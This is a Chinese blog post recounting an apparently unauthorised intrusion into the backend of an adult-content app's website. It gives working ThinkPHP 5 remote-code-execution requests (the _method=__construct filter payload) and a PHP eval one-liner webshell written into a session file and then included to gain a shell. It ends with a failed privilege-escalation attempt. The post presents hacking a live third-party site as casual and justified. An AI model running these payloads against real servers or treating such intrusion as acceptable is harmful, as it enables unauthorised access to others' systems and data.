对某擦边站点的一次渗透

更新时间:2022.07.05
2022年11月21日21:50:12
image.png

1. 说明

在上半年的时候,在线浏览网页的时候,突然跳转到了一个sese的界面,然后要下载app,本着弹出即下载的原则,我就欣然安装了:
app本身长这样:
image.png
打开之后是这样的:
image.png

看来渗透测试必不可少了。

2. getshell

经过抓包分析,该app的后台地址为:http://www.xxx.com/,对该站点进行分析发现,该站为thinkphp搭建,那还说什么,直接一把梭:

image.png

直接就拿到了shell,在连接的时候,发现连接报错:
image.png

那在浏览器里直接连接看看:

image.png
应该是出了问题,还是手工测试吧:

http://www.xxxx.com/?s=index

post
_method=__construct&method=get&filter[]=phpinfo&get[]=-1

image.png

此时发现禁用了非常多的函数:

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

试试session包含的写shell,教程:

https://xz.aliyun.com/t/10397

https://xz.aliyun.com/t/10397
先通过session包含写入一句话木马

http://www.xxxx.com/?s=captcha
POST:_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1

然后利用文件包含去包含session文件,tp5session文件一般都是在/tmp下面,文件名为sess_sessionid

image.png

然后接下来的payload

http://www.xxxx.com/?s=captcha
POST:_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_eg9xxxxxxxxgsirl&c=phpinfo();

image.png
看到这个就算是成功了,蚁剑连接记得加上body:

image.png
image.png

此时shell连接成功:

image.png

连接成功,发现是www权限,但是提权的时候失败。。
后面就不再进行其他的操作了。

image.png

  • 4
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值